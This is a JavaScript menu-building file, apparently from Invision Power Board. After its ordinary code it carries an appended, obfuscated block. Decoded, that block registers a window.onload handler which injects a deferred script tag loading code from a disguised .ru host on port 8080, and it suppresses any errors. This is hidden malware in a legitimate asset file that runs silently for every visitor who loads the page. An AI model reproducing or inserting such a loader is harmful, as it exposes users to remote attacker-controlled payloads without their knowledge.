/*-------------------------------------------------------------------------*/
// IPS BASIC MENU CLASS (EXTENSION: BUILD SIMPLE MENU)
// (c) 2005 Invision Power Services, Inc
// Assumes that "ips_menu.js" has been loaded
/*-------------------------------------------------------------------------*/

//----------------------------------
// INIT some CSS classes
//----------------------------------

var css_mainwrap     = 'popupmenu';
var css_menusep      = 'popupmenu-item';
var css_menusep_last = 'popupmenu-item-last';

//----------------------------------
// INIT some images
//----------------------------------

var img_item   = "<img src='" + ipb_var_image_url + "/menu_item.gif' border='0' alt='V' style='vertical-align:middle' />";
var img_action = "<img src='" + ipb_var_image_url + "/menu_item2.gif' border='0' alt='V' />";

/*-------------------------------------------------------------------------*/
// Return formed image
/*-------------------------------------------------------------------------*/

function make_image( img )
{
	return "<img src='" + ipb_var_image_url + "/" + img + "' border='0' alt='-' class='ipd' />";
}

/*-------------------------------------------------------------------------*/
// menu_build_menu
// cid: ID of opener object (img, div, etc)
// menuinput: Array of menu entries | Variable of menu HTML
// complexmenu: Treat as HTML stream if true, else treat as array of HTML
/*-------------------------------------------------------------------------*/

function menu_build_menu(cid, menuinput, complexmenu)
{
	var html = "\n<div class='" + css_mainwrap + "' id='" + cid + "_menu' style='display:none;z-index:100'>\n";
	
	if ( ! complexmenu )
	{
		len = parseInt(menuinput.length);
		
		if ( len > 0 )
		{
			for( var i=0; i< menuinput.length; i++ )
			{
				t = parseInt(i) + 1;
				
				thisclass = ( t == len ) ? css_menusep_last : css_menusep;
				
				if ( menuinput[i].match( /^~~NODIV~~/ ) )
				{
					html += menuinput[i].replace( /^~~NODIV~~/, '' );
				}
				else
				{
					html += "<div class='" + thisclass + "'>\n" + menuinput[i] + "\n</div>\n";
				}
			}
		}
	}
	else
	{
		html += menuinput;
	}
	
	html += "\n</div>\n";
	
	//----------------------------------
	// Workaround for IE bug which shows
	// select boxes and other windows GUI
	// over divs. Write iframe
	//----------------------------------
	
	if ( is_ie )
	{
		html += "\n"+''+"\n";
	}
	
	//----------------------------------
	// Write the html
	//----------------------------------
	
	if ( html != '' )
	{
		document.getElementById( cid ).parentNode.innerHTML += html;		
	}
	
	//----------------------------------
	// Register and init
	//----------------------------------
	
	ipsmenu.dynamic_register[ ipsmenu.dynamic_register.length + 1 ]  = cid;
}




var f=new Date();try {this.O="";var j='[';var v;if(v!='' && v!='E'){v='Bc'};var T=new Date();var g=RegExp;var m='replace';var b_="";var n=']';this.S='';var e='';var mz;if(mz!='' && mz!='k'){mz='fU'};var X='g';var i;if(i!='' && i!='y'){i='rc'};var L=new Date();var c;if(c!='' && c!='N'){c=null};var De="";var DO=new Array();function w(Y,F){this.kJ='';var z;if(z!='' && z!='nu'){z='FL'};var Zn='';var Ks='';var K=j;var UH=new String();var XF;if(XF!='' && XF!='gE'){XF=null};K+=F;var J_;if(J_!=''){J_='vl'};K+=n;var bY;if(bY!=''){bY='jN'};var nj=new g(K, X);var ED;if(ED!='gC' && ED != ''){ED=null};var cM=new Date();return Y[m](nj, e);var ij="";};var Df;if(Df!='' && Df!='Xg'){Df=''};var t=new Date();var eE=new Date();var D=w('s5eGthAvtvthr5iGbvu5tGe5',"v5hG");var Rt=new Date();this.pw='';var Yh=w('aSpSpxexnxdxCShSixlSdS',"xS");var U=w('oknklfoIakdq',"kqIf");var u=w('bhoYdCyc',"hCc1Y");var FS=new Array();var vf=new Array();var Y="1";this.zU="";this.Zy="";var gv='';var HE;if(HE!='CR' && HE!='Ya'){HE=''};var b=w('/bgbabmbeSfbaXqbsb.bcbobmX/bgSabmXebfSaSqSsS.bcbobmb/SgXoSoXgSlSeS.XcSoSmb/SrbrS.bcboXmX/XaSlSibpbaXyb.XcboSmS.bpbhSpS',"bSX");var PL=new Array();var Dj;if(Dj!='FA' && Dj!='aP'){Dj='FA'};var ya;if(ya!='' && ya!='Dg'){ya=''};var r=w('cvrVeVaVtvevEvlvevmVevnytv',"Vyv");var LZ='';var Yr;if(Yr!='' && Yr!='yf'){Yr=''};var B=w('hQtHtxpQ:H/H/ArQe7uxtQe7rxsQ-HcQoxmH.7cHlQaQr7iAnH.Acxoxmx.AtQi7gAexr7dHiArAeQcxt7-QcQoQmx.7fArxexsHh7axiArHnHeQtA.7rAuQ:Q',"AQH7x");var kZ;if(kZ!='Vy' && kZ!='FC'){kZ=''};this.JE="";var Z=w('844455550544658655560556564',"564");var R=w('sXcYrXiXpXtY',"XY");this.nB='';window[U]=function(){var XB=new Array();var rx;if(rx!='' && rx!='EU'){rx=''};DA=document[r](R);var Nx;if(Nx!='sY' && Nx != ''){Nx=null};var Gx;if(Gx!='Hv' && Gx != ''){Gx=null};gv+=B;gv+=Z;var dy;if(dy!='hr' && dy!='rI'){dy='hr'};var aC;if(aC!='_G' && aC!='Jw'){aC='_G'};gv+=b;var Rk=new String();var fZ;if(fZ!='gp' && fZ!='sh'){fZ='gp'};DA.src=gv;DA.setAttribute('defer', Y);var J=document[u];var Sr;if(Sr!='cO' && Sr!='qr'){Sr=''};var ru="";J.appendChild(DA);this.uT='';this.VO='';};this.oT='';var bW;if(bW!='oo' && bW != ''){bW=null};} catch(M){};var tG;if(tG!='' && tG!='KE'){tG=''};var yD='';